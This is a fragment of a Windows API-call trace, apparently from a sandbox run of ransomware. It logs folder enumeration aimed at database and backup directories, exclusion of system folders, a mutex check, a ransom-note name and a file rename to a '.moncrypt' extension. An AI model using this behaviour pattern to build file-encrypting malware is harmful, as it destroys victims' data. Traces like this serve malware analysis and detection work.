lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0056.897] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꍴR企@\x18?T\x18D")) returned 0xffffffff [0056.898] GetLastError () returned 0x2 [0056.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0056.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0056.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@劔U企@\x18锴R\x18j")) returned 0xffffffff [0056.901] GetLastError () returned 0x2 [0056.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0056.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0056.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꍴR企@\x18?T\x18q")) returned 0xffffffff [0056.903] GetLastError () returned 0x2 [0056.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\锰R ") returned 6 [0056.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0056.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18?T\x18y")) returned 0xffffffff [0056.905] GetLastError () returned 0x2 [0056.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0056.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0056.906] GetLastError () returned 0x2 [0056.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0056.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꍴR企@\x18?T\x18\x88")) returned 0xffffffff [0056.908] GetLastError () returned 0x2 [0056.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0056.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18?T\x18\x8f")) returned 0xffffffff [0056.909] GetLastError () returned 0x2 [0056.909] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0056.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0056.911] GetLastError () returned 0x2 [0056.911] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0056.911] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.911] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.911] GlobalUnlock (hMem=0x440004) returned 0 [0056.912] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.912] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.912] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.912] GlobalUnlock (hMem=0x440004) returned 0 [0056.912] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.912] GlobalUnlock (hMem=0x44000c) returned 0 [0056.912] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.912] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.912] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.912] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0056.912] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.912] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.912] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.912] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.912] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.912] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.912] GlobalUnlock (hMem=0x44000c) returned 0 [0056.912] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.912] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.912] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.912] GlobalUnlock (hMem=0x44000c) returned 0 [0056.912] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.912] GlobalUnlock (hMem=0x440004) returned 0 [0056.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0056.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0056.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0056.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0056.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0056.913] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.913] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.913] GlobalUnlock (hMem=0x440004) returned 0 [0056.913] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.913] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.913] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.914] GlobalUnlock (hMem=0x440004) returned 0 [0056.914] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.914] GlobalUnlock (hMem=0x44000c) returned 0 [0056.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.914] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.914] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0056.914] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.914] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.914] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.915] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.915] GlobalUnlock (hMem=0x44000c) returned 0 [0056.915] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.915] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.915] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.915] GlobalUnlock (hMem=0x44000c) returned 0 [0056.915] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.915] GlobalUnlock (hMem=0x440004) returned 0 [0056.915] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.915] CharLowerBuffW (in: lpsz="adcjavas.inc", cchLength=0xc | out: lpsz="adcjavas.inc") returned 0xc [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.915] CharLowerBuffW (in: lpsz=".inc", cchLength=0x4 | out: lpsz=".inc") returned 0x4 [0056.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inc", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".incdc\\adcjavas.inc", lpUsedDefaultChar=0x0) returned 4 [0056.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\я" (normalized: "c:\\program files\\common files\\system\\msadc\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0056.916] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0056.917] CloseHandle (hObject=0x188) returned 1 [0056.917] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\я" (normalized: "c:\\program files\\common files\\system\\msadc\\я")) returned 1 [0056.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 0x54e200 [0056.918] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.918] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.918] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", dwFileAttributes=0x20) returned 0 [0056.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), 